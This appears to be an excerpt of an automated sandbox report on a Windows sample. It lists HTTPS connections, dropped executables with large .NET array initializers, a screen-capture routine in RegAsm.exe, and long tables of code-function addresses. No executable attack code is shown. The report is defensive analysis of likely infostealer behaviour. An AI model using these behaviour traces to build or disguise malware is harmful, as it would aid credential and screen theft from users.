Source: unknown	HTTPS traffic detected: 5.75.211.162:443 -> 192.168.2.4:59744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.105.54.160:443 -> 192.168.2.4:59768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:59770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.4.136:443 -> 192.168.2.4:59771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:59774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:59775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:59778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.108:443 -> 192.168.2.4:59779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:59780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:59781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.208.139:443 -> 192.168.2.4:59782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:59783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.2.13:443 -> 192.168.2.4:59784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:59785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:59785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 5.75.211.162:443 -> 192.168.2.4:59786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 5.75.211.162:443 -> 192.168.2.4:59788 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00419010 CreateStreamOnHGlobal,GetDesktopWindow,GetWindowRect,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GetHGlobalFromStream,GlobalLock,GlobalSize,SelectObject,DeleteObject,DeleteObject,ReleaseDC,CloseWindow,

2_2_00419010

System Summary

.NET source code contains very large array initializations

Source: file.exe, MoveAngles.cs	Large array initialization: MoveAngles: array initializer size 314368
Source: userKECGDBFCBK.exe.2.dr, MoveAngles.cs	Large array initialization: MoveAngles: array initializer size 393216
Source: userHJEBGHIEBF.exe.2.dr, MoveAngles.cs	Large array initialization: MoveAngles: array initializer size 365056
Source: ljhgfsd[1].exe.2.dr, MoveAngles.cs	Large array initialization: MoveAngles: array initializer size 365056

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C27ED10 malloc,NtFlushVirtualMemory,memset,memset,memset,memset,memset,memcpy,free,memset,memset,memcpy,memset,memset,memset,memset,memset,	2_2_6C27ED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2BB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	2_2_6C2BB700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2BB8C0 rand_s,NtQueryVirtualMemory,	2_2_6C2BB8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2BB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	2_2_6C2BB910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C25F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	2_2_6C25F280
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0040145B GetCurrentProcess,NtQueryInformationProcess,	8_2_0040145B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F8DB910 NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlRestoreLastWin32Error,GetLastError,	8_2_6F8DB910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F8DB8C0 NtQueryVirtualMemory,	8_2_6F8DB8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F8DB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlRestoreLastWin32Error,	8_2_6F8DB700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F87F280 NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlRestoreLastWin32Error,	8_2_6F87F280

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_02900C40	0_2_02900C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2535A0	2_2_6C2535A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2C542B	2_2_6C2C542B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2CAC00	2_2_6C2CAC00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C295C10	2_2_6C295C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2A2C10	2_2_6C2A2C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C265440	2_2_6C265440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2C545C	2_2_6C2C545C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2B34A0	2_2_6C2B34A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2BC4A0	2_2_6C2BC4A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C266C80	2_2_6C266C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C25D4E0	2_2_6C25D4E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C296CF0	2_2_6C296CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2664C0	2_2_6C2664C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C27D4D0	2_2_6C27D4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C26FD00	2_2_6C26FD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C27ED10	2_2_6C27ED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C280512	2_2_6C280512
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2B85F0	2_2_6C2B85F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C290DD0	2_2_6C290DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2B9E30	2_2_6C2B9E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2A5600	2_2_6C2A5600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C297E10	2_2_6C297E10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2C6E63	2_2_6C2C6E63
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C25C670	2_2_6C25C670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2A2E4E	2_2_6C2A2E4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C274640	2_2_6C274640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C279E50	2_2_6C279E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C293E50	2_2_6C293E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2B4EA0	2_2_6C2B4EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2BE680	2_2_6C2BE680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C275E90	2_2_6C275E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2C76E3	2_2_6C2C76E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C25BEF0	2_2_6C25BEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C26FEF0	2_2_6C26FEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C269F00	2_2_6C269F00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C297710	2_2_6C297710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2A77A0	2_2_6C2A77A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C25DFE0	2_2_6C25DFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C286FF0	2_2_6C286FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C29B820	2_2_6C29B820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2A4820	2_2_6C2A4820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C267810	2_2_6C267810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C29F070	2_2_6C29F070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C278850	2_2_6C278850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C27D850	2_2_6C27D850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2860A0	2_2_6C2860A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C27C0E0	2_2_6C27C0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2958E0	2_2_6C2958E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2C50C7	2_2_6C2C50C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C26D960	2_2_6C26D960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2AB970	2_2_6C2AB970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2CB170	2_2_6C2CB170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C27A940	2_2_6C27A940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C25C9A0	2_2_6C25C9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C28D9B0	2_2_6C28D9B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C295190	2_2_6C295190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2B2990	2_2_6C2B2990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C299A60	2_2_6C299A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2522A0	2_2_6C2522A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C284AA0	2_2_6C284AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C26CAB0	2_2_6C26CAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2C2AB0	2_2_6C2C2AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2CBA90	2_2_6C2CBA90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C271AF0	2_2_6C271AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C29E2F0	2_2_6C29E2F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C298AC0	2_2_6C298AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C29D320	2_2_6C29D320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C26C370	2_2_6C26C370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C255340	2_2_6C255340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C25F380	2_2_6C25F380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2C53C8	2_2_6C2C53C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C3DAC30	2_2_6C3DAC30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C3C6C00	2_2_6C3C6C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C30AC60	2_2_6C30AC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C35ECD0	2_2_6C35ECD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2FECC0	2_2_6C2FECC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C42AD50	2_2_6C42AD50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C3CED70	2_2_6C3CED70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C488D20	2_2_6C488D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C304DB0	2_2_6C304DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C48CDC0	2_2_6C48CDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C396D90	2_2_6C396D90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C3E0E20	2_2_6C3E0E20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C39EE70	2_2_6C39EE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C386E90	2_2_6C386E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C30AEC0	2_2_6C30AEC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C3A0EC0	2_2_6C3A0EC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C306F10	2_2_6C306F10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C3C2F70	2_2_6C3C2F70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C440F20	2_2_6C440F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C36EF40	2_2_6C36EF40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C30EFB0	2_2_6C30EFB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C3DEFF0	2_2_6C3DEFF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C300FE0	2_2_6C300FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C448FB0	2_2_6C448FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C350820	2_2_6C350820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C38A820	2_2_6C38A820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C3D4840	2_2_6C3D4840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C4068E0	2_2_6C4068E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C356900	2_2_6C356900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C338960	2_2_6C338960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C3C09B0	2_2_6C3C09B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C3909A0	2_2_6C3909A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C3BA9A0	2_2_6C3BA9A0
Source: C:\Users\userKECGDBFCBK.exe	Code function: 6_2_02820C40	6_2_02820C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0042D933	8_2_0042D933
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0042D1C3	8_2_0042D1C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0041C472	8_2_0041C472
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0042D561	8_2_0042D561
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0041950A	8_2_0041950A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0042DD1B	8_2_0042DD1B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0042CD2E	8_2_0042CD2E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0041B712	8_2_0041B712
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F8735A0	8_2_6F8735A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F87DFE0	8_2_6F87DFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F8A6FF0	8_2_6F8A6FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F889F00	8_2_6F889F00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F895E90	8_2_6F895E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F8D4EA0	8_2_6F8D4EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F87BEF0	8_2_6F87BEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F8B7E10	8_2_6F8B7E10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F8D9E30	8_2_6F8D9E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F8C2E4E	8_2_6F8C2E4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F899E50	8_2_6F899E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F8B3E50	8_2_6F8B3E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F8B0DD0	8_2_6F8B0DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F88FD00	8_2_6F88FD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F886C80	8_2_6F886C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F8B6CF0	8_2_6F8B6CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F8B5C10	8_2_6F8B5C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F8C2C10	8_2_6F8C2C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F8EBA90	8_2_6F8EBA90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F88CAB0	8_2_6F88CAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F8B8AC0	8_2_6F8B8AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F891AF0	8_2_6F891AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F8B9A60	8_2_6F8B9A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F8D2990	8_2_6F8D2990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F87C9A0	8_2_6F87C9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F8AD9B0	8_2_6F8AD9B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F8CB970	8_2_6F8CB970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F8B58E0	8_2_6F8B58E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F887810	8_2_6F887810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F8BB820	8_2_6F8BB820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F8C4820	8_2_6F8C4820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F898850	8_2_6F898850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F89D850	8_2_6F89D850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F8C77A0	8_2_6F8C77A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F8B7710	8_2_6F8B7710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F8C5600	8_2_6F8C5600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F894640	8_2_6F894640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F87C670	8_2_6F87C670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F8D85F0	8_2_6F8D85F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F8D34A0	8_2_6F8D34A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F8864C0	8_2_6F8864C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F89D4D0	8_2_6F89D4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F87D4E0	8_2_6F87D4E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F8DC4F3	8_2_6F8DC4F3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F885440	8_2_6F885440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F87F380	8_2_6F87F380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F8BD320	8_2_6F8BD320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F88C370	8_2_6F88C370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F8722A0	8_2_6F8722A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F8BE2F0	8_2_6F8BE2F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F8B5190	8_2_6F8B5190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F8EB170	8_2_6F8EB170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F8A60A0	8_2_6F8A60A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F89C0E0	8_2_6F89C0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F87B001	8_2_6F87B001
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F8DE000	8_2_6F8DE000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F8BF070	8_2_6F8BF070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_22434CF0	8_2_22434CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_2242209F	8_2_2242209F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_224AA0B0	8_2_224AA0B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_224366C0	8_2_224366C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_224247AF	8_2_224247AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_2244A560	8_2_2244A560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_2251A590	8_2_2251A590
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_2242AA40	8_2_2242AA40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_2242EA80	8_2_2242EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_22423E3B	8_2_22423E3B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_2255E800	8_2_2255E800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_2242481D	8_2_2242481D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_2251A940	8_2_2251A940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_2253A900	8_2_2253A900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_225069C0	8_2_225069C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_22482EE0	8_2_22482EE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_22466E80	8_2_22466E80
